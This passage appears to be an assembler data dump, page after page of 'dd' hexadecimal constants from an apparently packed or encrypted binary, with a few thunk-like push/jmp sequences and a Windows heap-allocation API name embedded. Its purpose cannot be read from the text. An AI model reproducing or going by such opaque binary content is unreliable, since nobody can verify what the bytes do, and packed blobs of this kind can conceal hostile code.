95B97065h, 5EB67866h dd 0B3186B20h, 268E5B52h, 97B778FBh, 2FB0FE72h, 0FB74Dh dd 828A0000h, 0ECCE44FAh, 0F1C39617h, 2FBF4F89h, 735E8C09h dd 0D207C249h, 960104E5h, 7E2D338h, 0C43BFEE7h, 2BFEEF18h dd 0D803EC0Bh, 24DD14F5h, 853B3EDDh, 8B12996h, 0BD21F8FDh dd 0B2B52EC0h, 0EFF8FD0Ah, 8A4E3FCEh, 7C975783h, 29968601h dd 0B248817Eh, 0BB1D0F5Bh, 0AB689148h, 299685D2h, 0C8B1624Fh dd 45299685h, 0AB689158h, 299685D2h, 72BC524Fh, 44C12A95h dd 0EA769851h, 0A4EA097Ch, 14EF1CE9h, 1C83FABh, 0FEAB21D8h dd 747BB910h, 0D712F9E3h, 661E1437h, 956C2F8Fh, 9D22F386h dd 0A3B37023h, 4027AE5Bh, 61B36E9Fh, 0DB1A0F31h, 31E2171Eh dd 239D1F48h, 0FC36D8C5h, 5E7F4D9h, 42A88F06h, 0D41DCCC1h dd 0F0DBE41Dh, 0C33BB319h, 1A6E6444h, 1368EBF4h, 8D239D4Eh dd 0CDDADB2Eh, 0D49518EBh, 9D4E3647h, 7FF6B323h, 3C845A88h dd 4E690551h, 7A799D72h, 9F648655h, 8BB67B2Eh, 0CBC24B74h dd 0C00902ECh, 0FCE1042Eh, 211E811h, 239D4E77h, 2A9007F4h dd 0CBAC35D9h, 0C936EB22h, 38F1E41Fh, 0A257CD16h, 897A6057h dd 0B3C65504h, 30239D4Eh, 3624E373h, 4D629478h, 40BD245Fh dd 7F9E3FAEh, 9CBDA9D4h, 0B0792623h, 1F168389h, 0F5F811BCh dd 5CC8D024h, 519E98BEh, 48D6149Fh, 9E6F5067h, 1DBAC78h dd 0CA6F0000h, 9D30F089h, 9EB06D23h, 3169FF98h, 3ECDEF08h dd 0D9E61B18h, 0CA9F16F1h, 91652124h, 0A9C82F8Fh, 8C01C843h dd 40DB42ABh, 239D793Dh, 0E004CDBAh, 0C035D8F5h, 25C516B7h dd 2EA627E2h, 0DAA3B089h, 57239D79h, 697584AAh, 59815A83h dd 9A7227AEh, 5CC65D07h, 26DB1696h, 0E1D42F99h, 0DE13F8D6h dd 7FF1FE38h, 4748D642h, 4A090AB0h, 239D5A2Fh, 0B33AEFACh dd 83D450E6h, 2E000000h, 164565FFh, 29968563h, 0B016F1D9h dd 58033EF3h, 0A9968505h, 0E02793C2h, 0C31CF029h, 66840E66h dd 840FD87Eh, 0A99646F9h, 3ABB4A6Fh, 737A8D2Dh, 46D4A5B6h dd 5451A996h, 20E1EDD8h, 4BEEBED3h, 5A32F748h, 886F3F2Bh dd 3B048664h, 0AE11D2D1h, 0D97D363h, 66F724DDh, 23299621h dd 2C59BB66h, 0A9810783h, 5CFB065Eh, 7C799278h, 40B760DAh dd 0B6636A9Bh, 0E34FA0h, 0DAA0000h, 82575EB1h, 31CEC66Ch dd 8CD87E89h, 0A72E8E1Ah, 8B02C746h, 85F823DEh, 2299685h dd 615CC05h, 2F8F867Ch, 24E508E7h, 0B641E8EDh, 9362F419h dd 9641E32Ah, 0D9F0E439h, 0AF9D487Bh, 0C03F3AD9h, 0BFBC239Ch dd 7800830Ah, 19239CC1h, 0E30CE0EEh, 0BF15F22Ah, 2ED40A2h dd 0BCA84E62h, 0AE49F02Ah, 35F4F90Eh, 9D825326h, 1ED3D023h dd 0F9063BF8h, 2E2135D0h, 299FF8F9h, 57866A55h, 575E9372h dd 97846C82h, 0BF209762h, 0BCCAD4Eh, 5C491D9Bh, 82947B63h dd 7A617E69h, 6841B451h, 0BD7A2B1h, 0A7541D9Bh, 0A040B762h dd 8BAB7E6Fh, 551B862h, 2BD60C9Ah, 7E2415A9h, 89CA5A70h dd 1D9B6AF0h, 0D579B06Dh, 0B516A158h, 0A08BBE50h, 0C1239DE1h dd 70B71DC4h, 0F1E90F13h, 291323h, 2036D5F7h, 0E146CE1Ah dd 780E7C6Eh, 2892EB28h, 120F2996h, 0BD2B37D7h, 0BC85BC65h dd 9628DE9Fh, 88AE5B29h, 989F62C5h, 5B86832Fh, 7D5F7A64h dd 9752078Eh, 6E5C4316h, 0C1688195h, 0E792C178h, 642393B1h dd 0B1E19CB7h, 74572393h, 0A0743195h, 52E175E8h, 9E80E74h dd 7F029E4h, 271125E4h, 0C3D11FC0h, 1004A062h, 0F59E0FDAh dd 5CCCB757h, 4B42C127h, 38A836Ch, 0CE90BEB9h, 0B415A247h dd 103EBD51h, 0C428B31Ch, 0E9B5C853h, 7532EA5Ah, 0A96039BCh dd 0EF8AC970h, 6CEA5AE9h, 32959FAFh, 6C0D808Dh, 2DA06753h dd 7065A24Ah, 0FDE70B9h, 0B05A5BAAh, 0BE1F0D59h, 0A618D732h dd 0E605187Bh, 123EE23h, 0A114F9D6h, 0FFEDFD8h, 0CA2BCB9Eh dd 3, 8C390FF6h, 3E29AC65h, 7E696CA1h, 4423AA5Fh, 7B7C719Ah dd 3235B84Fh, 6F787D8Ah, 2D3ABB4Ah, 7275788Bh, 1BCCC14Eh dd 79B968h, 243C8900h, 81E18951h, 4C1h, 4E98300h, 5C240C87h dd 52241C89h, 0C281E289h, 4, 8704EA83h, 895C2414h, 6852243Ch dd 6107783Ch, 7FC2815Ah, 52A4FAFEh, 0EC835A5Bh, 24248904h dd 4240483h, 573A685Fh, 1C890000h, 8478F24h, 5F2434FFh dd 8B04C483h, 8956241Ch, 4C681E6h, 83000000h, 348704C6h dd 4BE95C24h, 1BFFF700h, 1F0DA8D8h, 0CB883B5Dh, 27E4FB8h dd 0FFC50306h, 95BD1E0h, 3E606C5Dh, 8619C69h, 0A377FA34h dd 21C12647h, 4B759E48h, 38D08337h, 0D2BC5E76h, 97AC3F0Fh dd 0DCFE6862h, 6A42330Eh, 0B553A141h, 2095E952h, 7D27734Bh dd 5D7BC916h, 544CB80Ah, 49EB8A44h, 1652C52Ah, 38385017h dd 0C6577E44h, 0D0699A60h, 0E1F23504h, 2B00B823h, 2987E602h dd 5BD2F937h, 60A4207Eh, 44E93Dh, 0FE4B0000h, 74523923h dd 6C6C416Ch, 7461636Fh, 61654865h, 70h, 14h, 0Ah dup(0) dd 0FBE90000h, 68000016h, 6028216h, 0F6FF79E9h, 838D68FFh dd 6FE90602h, 68FFF6FFh, 6028695h, 0F6FF65E9h, 87FA68FFh dd 5BE90602h, 68FFF6FFh, 6028CE3h, 0F6FF51E9h, 8DDD68FFh dd 47E90602h, 68FFF6FFh, 6028E23h, 0F6FF3DE9h, 8F9E68FFh dd 33E90602h, 68FFF6FFh, 602907Ah, 0F6FF29E9h, 910968FFh dd 1FE90602h, 68FFF6FFh, 602934Bh, 0F6FF15E9h, 94A668FFh dd 0BE90602h, 8AFFF6FFh, 5372AA67h, 5580A46Bh, 896C9073h dd 587FA560h, 0D3719374h, 4EB9215Eh, 7E8D2F96h, 4DBC1FC6h dd 7E8F3097h, 0C05B1CC6h, 239405BDh, 8CF3953Ah, 886FAA63h dd 45588462h, 0EE243281h, 25C5B223h, 0F33EEBE2h, 409D8A63h dd 0AB21C8CDh, 6EC6B2E9h, 3F20492h, 40831D8h, 87E0BE01h dd 0E065C26Fh, 8711E00h, 0B3B42DC1h, 419BE307h, 5FE49784h dd 974423AAh, 0BE98A551h, 8F5A6250h, 0B39F861Eh, 0AAB857EBh dd 49F01DC2h, 75D61FC3h, 95E693E6h, 0C1131029h, 1026BB7Ah dd 0EC1BBF26h, 0DD308D38h, 1FEECFD8h, 28DBFDFAh, 0D862F4A5h dd 0E324C82Fh, 59811753h, 73A059A0h, 2995AC0Ah, 0BE1D9A87h dd 7F8F4A4Bh, 8EDD76CCh, 0C630A42Fh, 89AAE393h, 2377D875h dd 80490F73h, 6099866Eh, 0BFFF7A99h, 7F7C239Bh, 0A8CD766Fh dd 87239BBFh, 239C5280h, 63A84EB5h, 48D59F89h, 4D4Eh, 69FF9800h dd 0CDEF0831h, 1B183Eh, 2F8F982Eh, 0DB9EBD84h, 58239D72h dd 818A34ABh, 1598856Dh, 877E6B54h, 90C35306h, 239D72E9h dd 89CA6FC8h, 239D72F0h, 5F9EB06Dh, 4ED99373h, 54AD48D6h dd 9D66B6C7h, 0E0763323h, 11344h, 638C9E00h, 66886FAAh dd 0D57930A5h, 48BF2B0Ch, 0A0B3B91h, 72228C84h, 0BB2403DCh dd 639E5B52h, 9632C5B8h, 0B1454229h, 0CC709D42h, 9637CF85h dd 0AE6D129h, 35D99005h, 570419B6h, 29962E26h, 0F92BE6A3h dd 0C847A710h, 0F30214C5h, 0D85243CAh, 10FDE24Eh, 0DC05CC9Dh dd 0FC12F9E3h, 573E242Fh, 0A82C2F8Fh, 0AAF9E5A0h, 28D06667h dd 7A65A049h, 0C871B855h, 54AB0544h, 1D319625h, 69B12713h dd 0A3B089B0h, 239CB6DAh, 0C184AA57h, 2998AA38h, 37E607F0h dd 0A0C3611Ch, 0E821DE1Dh, 0DA2234E5h, 0B24DF42Dh, 9C5BFB08h dd 0D722D730h, 0D82E2BF5h, 90AB76A3h, 1DA086EDh, 9F99BD6Ah dd 0A8739438h, 0BFD05B28h, 0C94E5758h, 76000013h, 678EB65Bh dd 71548887h, 5D88BC47h, 7453897Ch, 71DBF48h, 1AEDCD8Ah dd 32D903E2h, 900EB0Ah, 42CBF4D3h, 0D47F389Ah, 239403A9h dd 8CFFC126h, 8572A760h, 7C2DA063h, 55B760DAh, 0AB723DC9h dd 18D777BFh, 90AE56B7h, 141469FFh, 0BB5AD92h, 0F02BD61Bh dd 2F8ECE3Eh, 9A29AC59h, 239CA8DBh, 20957059h, 5B52B117h dd 2EF0DEC9h, 17EFFB12h, 48D68045h, 47E4BB11h, 0E3E8B9B3h dd 15DD753h, 0A22A0000h, 0BD67DD3Eh, 61D77705h, 7E8931CEh dd 0C41EF996h, 44EA6494h, 1CC548A5h, 42D43BA3h, 0CC1EBEA9h dd 3FBC77ADh, 77A267E4h, 8926080h, 2C4DB5FFh, 6F789E53h dd 963174E4h, 90CB7629h, 299627EDh, 5A99BD6Ah, 7F846675h dd 23C5882Dh, 7C27EFAh, 91EC27D2h, 729966Fh, 0C4C125E4h dd 0DD0832h, 0EBE1880Dh, 2C97B698h, 0DA86A8F9h, 16EB164Ch dd 95A87405h, 0D802F129h, 0E350E62Bh, 8ED12A38h, 0FC20DD2Fh dd 5980DA4Ch, 0BFBA59A0h, 3C239C7Fh, 509CAF3Fh, 0EF299870h dd 0BE2FE000h, 43CCF4EBh, 0A7529752h, 0D677CD25h, 83936DC7h dd 76A149B6h, 0A13D94E5h, 0FCE2111Dh, 6CB9E0Fh, 6B4D42AEh dd 0C207554Dh, 4831E217h, 0BE1DA165h, 31E8ED22h, 0F43ED0CDh dd 0AB20C113h, 16EA3E6Bh, 24CA45A9h, 0AB025C5h, 0E7E330F9h dd 0A3BFD07Fh, 1252A392h, 0E0FF0000h, 4EC0B31h, 0CCEED90Bh dd 0F9E20537h, 0CDEDD80Ch, 0F130023Ah, 37ED1AC2h, 27DD2E90h dd 38EC1DC0h, 27DD308Dh, 1E5FFCBDh, 9B239402h, 608C9236h dd 6D9475A7h, 9685CBAEh, 0C0294829h, 50995045h, 0FBE40E7Ch dd 58FE8D36h, 0CBBC3499h, 0B830C6CAh, 5013624Ah, 9FA74312h dd 6A55B26Ah, 22058885h, 8F4A4BB8h, 8C7EB45Ah, 96D8D63h dd 0AD6F086h, 4E9CEBFh, 2950D309h, 0E92995F7h, 0DAD12E3h dd 0F006060Ah, 0B31DC01h, 0F91A03ECh, 2995D680h, 1AEFCEFDh dd 0D6931ACFh, 8F4A76FEh, 2EC08744h, 0FEEF1EBFh, 59537F66h dd 9E639974h, 4D2FA3C2h, 0D983h, 78615E00h, 0BD51088Dh dd 3169FF77h, 0B1D74B08h, 0BA452F8Fh, 9F57F714h, 36FB0CB0h dd 0EC9F40Bh, 7C9257ACh, 5899E063h, 0BF78239Dh, 0DD719238h dd 0C37E301Eh, 9D58E598h, 91A56223h, 0D674E07Ch, 94A548h dd 7F780000h, 989EB05Fh, 968592E8h, 0CB178129h, 0C641A916h dd 37F41ACFh, 8F96B61Ch, 826A892Fh, 90591085h, 9C714E69h dd 84AE4019h, 78E7961h, 96795562h, 0B8A44A1Fh, 0E4DF42Eh dd 29967B24h, 30C7722Fh, 0A1787D8Eh, 8E86A38Dh, 0B7650688h dd 0B916812Fh, 66886154h, 7CA56487h, 3FE396C5h, 0A3601DA4h dd 56C05A93h, 3F7EFF1Ch, 33091DA4h, 6081A0E2h, 75BC695Dh dd 93E675CCh, 101DA420h, 25360313h, 239D2939h, 2BDEFDECh dd 23AEFAAh, 0C98E1h, 31CE1F00h, 0F26E808Bh, 29E20C64h dd 1FD339E0h, 0B3C655C9h, 302995D9h, 0A3A8A173h, 0B881AE40h dd 0B3A7D281h, 5A242995h, 6533D31Ah, 648A3F87h, 8F7D75E1h dd 638C732Fh, 71E099BAh, 0A05D239Dh, 532DC569h, 3993D4B4h dd 676EA3DFh, 9CFE9DDCh, 3CC37C23h, 0B2CB8891h, 2F239CFEh dd 9D40B772h, 9EB0696Ch, 0D993735Fh, 9E48D6DEh, 1Fh, 0E873CE68h dd 29968595h, 0B727DE0Bh, 542124CAh, 4299685h, 0FFFA8E99h dd 0F2D7E0FFh, 0FF3D0313h, 2BDAFF69h, 3B063BE6h, 96855D20h dd 92DDA29h, 8F9AB046h, 7F76332Fh, 0A9D47FBAh, 26239D6Fh dd 372D579h, 0E2239D70h, 95473F2Bh, 5248D64Fh, 734h, 8A31CEB4h dd 0B6E56F7Fh, 0B46DB523h, 8F9E6BA7h, 0E1FEF92Fh, 45F20A2Ch dd 9D6D6316h, 0C7F1E023h, 0E30AF53Ch, 0C936EB26h, 39F0E520h dd 0E8ED22BEh, 0FD1C1D31h, 6D661744h, 26E3239Dh, 9E173D10h dd 0DC4ACD62h, 32A36C54h, 0B287B277h, 3CB1CC87h, 712E79D8h dd 0D83C97E2h, 0C7671479h, 459DA96Ah, 83807FD1h, 927D615Eh dd 68514E1Bh, 0FA70799Dh, 0F40B366Ch, 86B343CCh, 6E9744BBh dd 0F90085C8h, 0B86579DBh, 0B55A7681h, 68C56940h, 516D6E4Fh dd 0A76237BEh, 8E30C772h, 6E9BDE7Dh, 6B186DE2h, 698671CBh dd 37BE4B72h, 484CA762h, 100F91B3h, 0F4A161Fh, 0D8F70000h dd 0FCE40339h, 0E406F113h, 0F1DAFD1Fh, 0E505F014h, 0E928FA22h dd 1FC542AAh, 4FF516B8h, 20C445A8h, 4FF518B5h, 3647D4A5h dd 0B32393FFh, 31CE7A3Eh, 0C08B628Ah, 0D0061A9Ah, 31C59419h dd 8FD31DC2h, 0C585B819h, 830AF9DFh, 0DFD61BD6h, 0CB3E9D1Ah dd 71A93F2Bh, 0BA7B8BC8h, 39E62F8Eh, 16180C00h, 45253BD1h dd 42BD84B1h, 7D6A6B98h, 7029AC5Fh, 775695B9h, 40897A60h dd 0F3F93399h, 8E016486h, 9069CE68h, 1CFAA69h, 4F4C239Dh dd 9D01B9C4h, 0A5493623h, 6B62A746h, 9D0195E8h, 11126723h dd 9503239Dh, 3940944Dh, 0EE3D4819h, 0FB181539h, 29962837h dd 365A8F85h, 60FE7895h, 747926CEh, 0A3CEAACFh, 507E891Dh dd 0DDEAFA76h, 2EBB46h, 0FF8D0000h, 67124169h, 0E4299685h dd 0F247F237h, 0D21E405h, 8FA6583Ah, 0D3C9A32Fh dd 56548036h, 1D7D8EADh, 27E27006h, 490AEBE2h, 36000000h dd 95E873CEh, 12299685h, 0F3650115h, 0FE58EF8Ah, 0E7D0F65Ah dd 13CE0302h, 0C6C740ACh, 25360313h, 2F8ECB1Dh, 0F50EBC43h dd 0D5C32900h, 0D0EC921Fh, 0EB9860F6h, 59FA3FEAh, 239CD120h dd 1A63F09Dh, 97239CD1h, 290F1FEAh, 7E8931CEh, 0BF507077h dd 40D61BCEh, 0B2010CB1h, 0B425A4F8h, 0E5A283ACh, 9200000Dh dd 9B3AE22Fh, 0BD28DC33h, 9134E81Bh, 0C027DD28h, 0DB39EB1Ch dd 36D1F9A6h, 605E70Eh, 35D4F7DEh, 607E80Fh, 1843F4DEh dd 2393FE65h, 0CECB6DE2h, 7452E946h, 0BE5D34D1h, 299614BBh dd 70864B38h, 13862F4h, 1F2FD4F6h, 36790112h, 7F42F8Fh dd 9F3CA186h, 10C9CC3Bh, 0DA2023D9h, 984AE82Ch, 0A84EBD1Fh dd 570426BCh, 0FC51B726h, 0D5F9E6A3h, 0EF4AEF3Ah, 51B71964h dd 45E996FCh, 0AB14EEBh, 41A98EFFh, 7FEB0BC6h, 0CB88B1E9h dd 24ACC7Bh, 7534B966h, 25A8658Ah, 0AB13E274h, 2557BD64h dd 0DE5212F1h, 6BCC6688h, 9EF48596h, 866AF658h, 94361589h dd 0C894BA6Fh, 21EED25Eh, 0A5DB31E8h, 0CB3E9D33h, 1C8E14E9h dd 43D33AA3h, 6EC94BF6h, 0F9A1EDF9h, 6EC487A7h, 81FC5203h dd 2DA06D52h, 56ADF95Fh, 0BF0A5050h, 2E8CF0Ah, 0E2DD8C01h dd 0E6FF0FFCh, 6060185Dh, 0B542F7F0h, 17D313h, 0C3C3FB30h dd 3CD2870Eh, 0E2DD91BDh, 0D1880DFAh, 0A814C83Dh, 0F8D17419h dd 33000001h, 818C31CEh, 4B67F16Dh, 96856D10h, 0F43DEA29h dd 0A76C0E4Dh, 8E72F8Fh, 0F8B124E5h, 2FDBC31h, 0CE1D31DEh dd 8EEF2CF1h, 0B239D63h, 831D31Eh, 0E708C9EFh, 2FFAAF26h dd 6330490Ah, 0F0AD239Dh, 0C22E8F5Eh, 0A8B464A9h, 0FE23EE26h dd 7651843h, 25E2239Dh, 0F512BAh, 37DC0529h, 4AE841C3h dd 0DA94C2B5h, 890CFFDDh, 0EAF3ED0h, 9A1BEECDh, 80F91ABFh dd 0FDFC51CCh, 0F613C900h, 0CC6D104Bh, 0F625FC51h, 0FC51CC83h dd 0E6A30300h, 0C134CFF9h, 46A746E8h, 9C23C6C7h, 0ADFD62Fh dd 69561E4h, 0A811239Dh, 6A4F585Dh, 0B4831A9Bh, 0AB62F8A6h dd 0E808EFBFh, 7E80727h, 0CC20E9D4h, 0E305716Ch, 2DD41DCEh dd 0EDE02D92h, 0B5201A3Ch, 0B34CF518h, 0DC8D0007h, 0A039B13Ah dd 8E30C772h, 4D6F787Dh, 0A76237BEh, 3069AA87h, 0A8D506F0h dd 0EFB7C251h, 4734D506h, 0BA354FA7h, 5514C972h, 536C955Ch dd 0A28CA269h, 0DE9FBC85h, 96D50745h, 745F485h, 52B471D5h dd 33A5C155h, 3EF316B5h, 38D1FC03h, 0E552E4B5h, 593436h dd 27D2CFDBh, 0D4D92A90h, 0EFF8F105h, 5BAE0DCEh, 66876E96h dd 89B05375h, 0E31AFCAh, 0BA6F2CCFh, 32059033h, 91AECF0Eh dd 4B42C726h, 0A8B846Ch, 85749A4Fh, 0B36A5359h, 0D6659E4Ch dd 0CF0E31A3h, 31BDC05Bh, 4D3ACF0Eh, 0BF65AC59h, 626AAB74h dd 34981F43h, 0BD2743D3h, 0A04BB46Dh, 8C6BC569h, 0B1527863h dd 31A46D3Ch, 0BC4B6F88h, 676E9543h, 80A99CB2h, 0CE101A0h dd 0A03D2F3Bh, 9D4BB46Dh, 0DBE98049h, 0DB16EA5Eh, 45EFFFDAh dd 0F44FF0E4h, 0E2EE88DAh, 9B409D4Ch, 0E2DADB32h, 0DE052D18h dd 1ACF1A7Dh, 0F9FED693h, 0D590146Eh, 22B4B046h, 5BF841F8h dd 0D471A522h, 0D6D73898h, 50E6A303h, 0C35A38E3h, 0F0ADDA6Ah dd 59A74Ch, 0FFD90000h, 4B083169h, 2F8FA64Bh, 50AE6D1h dd 6EA09F1h, 0EACDC009h, 0E7D00906h, 349C0302h, 0EFFFDADBh dd 8DBAB745h, 0B168BA23h, 9D5EDFA2h, 4A708723h, 7A6534B9h dd 58A0B653h, 6E9744BBh, 0D8A1B267h, 55239D5Eh, 25C944A8h dd 0C0C01698h, 75822709h, 0AE578459h, 8C6DD363h, 0C672AA63h dd 44CF0A50h, 2F8F9DF6h, 0CF23CB34h, 515A4F0Dh, 0DDD01957h dd 2512EA0Ch, 75493AAFh, 3FDC1A44h, 239CDA3Eh, 0DE03CEBBh dd 9E0FFAE1h, 330E2BCBh, 0E5E821CCh, 0E8D32234h, 0CC9A0D04h dd 10B0A8ACh, 16DB8EFFh, 694D30EBh, 0DDCA239Dh, 0E605F014h dd 69552833h, 0D5D2239Dh, 0E7D0991Ch, 9963EA06h, 9506CDD2h dd 6E80595Ch, 0D62164F2h, 0A763F58Ch, 74CD74BDh, 9CB696E7h dd 161323h, 0CADE2833h, 7B842995h, 629ABC53h, 96C57CA5h dd 1DA3A1E3h, 923CA360h, 91A57479h, 0B1CEAB58h, 718E1DA3h dd 322EC04Bh, 7EC37EA4h, 28AD5881h, 0C46ADD71h, 12239CBBh dd 9770FEBAh, 0CE604374h, 0AFCA8926h, 2C17AA53h, 9033BA6Fh dd 17AA53E9h, 35113DC8h, 5CC36FBBh, 0BF48748Bh, 35E61BCEh dd 17AA4744h, 0F632C4C1h, 46h, 0E873CE50h, 29968595h, 65011512h dd 0C772A7F3h, 9685F18Ch, 9DB16E29h, 0A6636990h, 9A2E81B7h dd 0A1F154FAh, 0EC2F8F8Bh, 0AA2BDEFDh, 26EB1EBDh, 0F4F914B9h dd 0DF35EC25h, 0D5E04167h, 647D9111h, 3581h, 69FFBF00h dd 0CEEF0831h, 85B9C44Fh, 49362996h, 635C0D80h, 4821947Bh dd 89B089A6h, 9685AFCAh, 0DF6F2C29h, 8F9ADA6Ch, 5A0C002Fh dd 0FDBC97DCh, 1FEF618h, 638CF48Ch, 0A383488Dh, 74BD4A07h dd 25C801A7h, 857081B4h, 8FCh, 19CB46A9h, 47FD12AEh, 13C93AA0h dd 46FE07B4h, 18CC3B9Fh, 0F4D887FAh, 0E806F113h, 0F7D60123h dd 0E20BEA12h, 2ECBF92Bh, 93F98CEDh, 0A4640923h, 95E873CEh dd 12299685h, 5B570115h, 31E832A4h, 0F91E5EDBh, 1C3203E6h dd 0ECCDEA0Fh, 0BC52F519h, 0F2F8ECCh, 0F0D0E712h, 5BFBAE1Fh dd 757049EAh, 51A8E5E3h, 55C0B7C2h, 50473461h, 0E975996Ah dd 5DFE237Fh, 674EE731h, 0A0D97ABFh, 1D5B5C98h, 8926CE60h dd 9FBC516Eh, 5B5C98DEh, 8D31AE5Bh, 0A3464782h, 5F56AF1Ch dd 52977858h, 0CF36A0BCh, 143F8E55h, 5B5D3E69h, 3BD339E6h dd 31E82162h, 566CBD22h, 88B16E61h, 0B2CB88B1h, 285563F7h dd 896343C4h, 0D49B8140h, 45E92057h, 79A749A6h, 55C5269Eh dd 2FD24EDh, 0F1A82DDAh, 0C936D35Dh, 33E6E722h, 46E821CCh dd 399546A7h, 92C01BD6h, 0A66017BBh, 802A88Dh, 10AF0000h dd 0D4FCDB01h, 0FCDE093Bh, 0C9F2D507h, 0FDDD083Ch, 0C140D20Ah dd 27DD2A92h, 37ED1EC0h, 28DC2D90h, 37ED20BDh, 4E2FEC8Dh dd 0CB2393F8h, 638C6226h, 0EFEB048Dh, 2DE41568h, 252336CEh dd 0E0C5EEB4h, 7BCh, 598B8669h, 87BD526Eh, 53897A60h, 86BE4774h dd 588C7B5Fh, 0B41847BAh, 0A846B153h, 0B716C163h, 0A24BAA52h dd 6E0BB96Bh, 93F7CCADh, 0E4A44923h, 99BA638Ch, 299685E0h dd 86027B98h, 827F2996h, 57785F1Ch, 9F6A3FB6h, 0E5EE927Ah dd 0F5875FD7h, 84128861h, 765EA35Eh, 0E3457AB8h, 0D6799D1Ah dd 2F9859F4h, 39CCED0Ah, 0ED1852D3h, 0BE5060F8h, 0BFBA5936h dd 3C239330h, 799A3Fh, 7D239331h, 27904980h, 82AC42C1h dd 57B41AA5h, 72CD6656h, 25FD4948h, 881E4AECh, 0B010A752h dd 9BBB6E5Fh, 0D57D7D9Eh, 0BF8298Bh, 702E9D6h, 0AA43D386h dd 99A65C19h, 86D43B1Dh, 0D3862CC0h, 0EFE946h, 0F13B0000h dd 7BA731C4h, 9E7995C6h, 32072F8Fh, 9D6D5821h, 7A031023h dd 0F7239D6Dh, 47E7940Ah, 9D9DD5AFh, 0D895E2A6h, 0FE4E811h dd 2CCF0AACh, 0EF2A1B3Bh, 0D361F81Dh, 0C668BBFCh, 0A39E1083h dd 0BA239CF2h, 67876253h, 0C356DFBh, 8E81FB4Fh, 22B3195Ah dd 5CCF5D5Ah, 4DC21E99h, 757D9148h, 6BA85188h, 4E9C0D12h dd 637C928Fh, 3961F7h, 1737D6F7h, 0D18CF91Ah, 932C5498h dd 1861F229h, 95489F47h, 0E50D21E8h, 0BF380138h, 0AA49ED1Ch dd 0A611C845h, 0E02F8F46h, 61F5A429h, 4C0732D7h dd 489F4731h, 8E5DF1AEh, 0C340AA31h, 1D217D2h, 54D29D41h dd 41C9ACC5h, 0EE000006h, 0DF063ED3h, 9EC10FFh, 0D50024DFh dd 0CEB11F4h, 1FF527E0h, 0F215B5E2h, 0CA41AB4Ah, 108B312h dd 3AD3FCDBh, 0FC17E002h, 2393F681h, 8AA749FEh, 0D7h, 0E873CEB6h dd 29968595h, 65011512h, 0E172A7F3h, 2F9904D9h, 0C748A80Fh dd 27D2CF27h, 0E404E5D2h, 683784EAh, 0F8FD342Bh, 1DE0D21h dd 7E41B1EFh, 0DB164F0Ch, 0EC21BE29h, 17B740E9h, 1224F5F8h dd 337DC056h, 2AC9E0A2h, 49C62A95h, 73A05980h, 23941B0Ah dd 0B7749A87h, 8D247E9Ch, 1645FC29h, 1D9B1163h, 0EB1323E0h dd 1D3E033Eh, 1D9B115Ch, 0F8EB0FD9h, 1C41E204h, 0C881FFD5h dd 1F51E38Eh, 0C113D60Fh, 1AC6BEBDh, 92CE6099h, 0F823DE04h dd 2393CE8Ah, 0F01FBF38h, 0AE9965Eh, 0A5D14246h, 65989D96h dd 12000005h, 1BBA62AFh, 3DA85CB3h, 11B4689Bh, 40A75DA8h dd 5BB96B9Ch, 0B6517926h, 8685678Eh, 0B554775Eh, 8687688Fh dd 98C3745Eh, 2393F5E5h, 0CE4BED62h, 0B5B2A173h, 0C1CC4711h dd 95BC4732h, 37D7C429h, 95BC6914h, 0BC3E3B29h, 0B92F2995h dd 0BE54B861h, 51FF7BAAh, 0E724CA35h, 162333E6h, 597AE9EBh dd 0C5880B99h, 27AC1E31h, 68872F98h, 9C695285h, 4894019h dd 0E6FAC55h, 8B239329h, 5562539Eh, 0B0469578h, 54B226FEh dd 4D65A5Bh, 5C830000h, 88688FB5h, 48725587h, 7D5E89BBh dd 49715488h, 75AC86BEh, 0BB61A646h, 0A359B21Ch, 0CC709944h dd 9349C429h, 0B2CB8831h, 2F2393F4h, 638CF6BAh, 3FB65778h dd 0BC2E9F6Ah, 2A53002Ah, 0A7299685h, 2F0A2FFAh, 5CA28C8h dd 81187067h, 53E32Eh, 2F8EC09Eh, 0C63DAB14h, 214EFD9h dd 32D70DFAh, 82314C07h, 0F1AE239Ch, 0F9EAEA5Dh, 0E8EC81D8h dd 75322CE7h, 0C4F910A1h, 0A88F8EE8h, 0BE1ECD61h, 88349349h dd 696B0E7Fh, 9B4198BDh, 0A2049C70h, 821844EAh, 0B68BAC50h dd 6052D4A5h, 0AECF8CC5h, 2BC56052h, 7B9B887Eh, 8931CEC5h dd 85ACCD8Eh, 7C292996h, 0C56940B5h, 0A912C926h, 4980595Ch dd 0CFAA6990h, 4C299685h, 4126BF4Fh, 9FCB719Ch, 8F28D109h dd 0C83FAB2Ch, 39DD14C5h, 13BA45FCh, 42AFFF6h, 8FB6FD41h dd 29942B2Fh, 0F9A64EE0h, 532A4FF4h, 0FE09239Dh, 6B7AF6D0h dd 0C24A48D6h, 0BD29BD3Ch, 0DF35D631h, 2911C00h, 6BFB27C7h dd 46000000h, 911D60FBh, 0ED9A239Ch, 69FFF349h, 0E34B0831h dd 392F8F97h, 722A5300h, 0FAA7239Dh, 64EF9C54h, 239D7219h dd 0FC82CC96h, 6EEAD6EFh, 758E3CA3h, 877039BCh, 0B98CA261h dd 239CAABCh, 982EA69Bh, 2EDF00FDh, 5B1AF2A7h, 116CA7ACh dd 8E239CCDh, 47B65891h, 0E4B12B1Bh, 0BC8548D6h, 9CC0DE9Fh dd 88AE5B23h, 1089Ch, 638C6600h, 798623AAh, 6435B853h dd 50B723D2h, 0A8755A5Dh, 9686126Bh, 57928F29h, 50B315A2h dd 9D4225BEh, 0CF85CC70h, 0D129968Ah, 8C0106E6h, 15BA39DDh dd 16B641F8h, 36D35DF1h, 0AA889BDEh, 0D97D3755h, 0B83BB51Ah dd 388ED75Ah, 0E9D60BC6h, 0DA8F0601h, 0A93FAB34h, 8671C871h dd 0E697A469h, 63299639h, 39D4A5B6h, 54512996h, 4FBC229Dh dd 71E172BFh, 3C2F8F4Fh, 9059AC0Dh, 0FE6AFC6Ch, 0F5A429DEh dd 0EB26E30Ah, 57C6DE36h, 0E06E447Fh, 2E32E14Eh, 0DD299932h dd 0DEFEF920h, 0E91EBE39h, 532635E4h, 0D01DA14Ah, 78DBFDB6h dd 0F0396FDDh, 0ED24E307h, 0DB2C9037h, 0D0856C00h, 9A9B94BFh dd 294h, 0D1739E41h, 9F45CA26h, 0CB719238h, 9E46BF2Ch dd 0D0749337h, 5C803F72h, 704E79ABh, 5F7E699Bh, 6A5372AAh dd 0A65381A3h, 93F30475h, 2CCC8123h, 75A7608Ch, 79A06D52h dd 23AA5F7Eh, 0A6618976h, 5AD47A2Fh, 0DD46CEC4h, 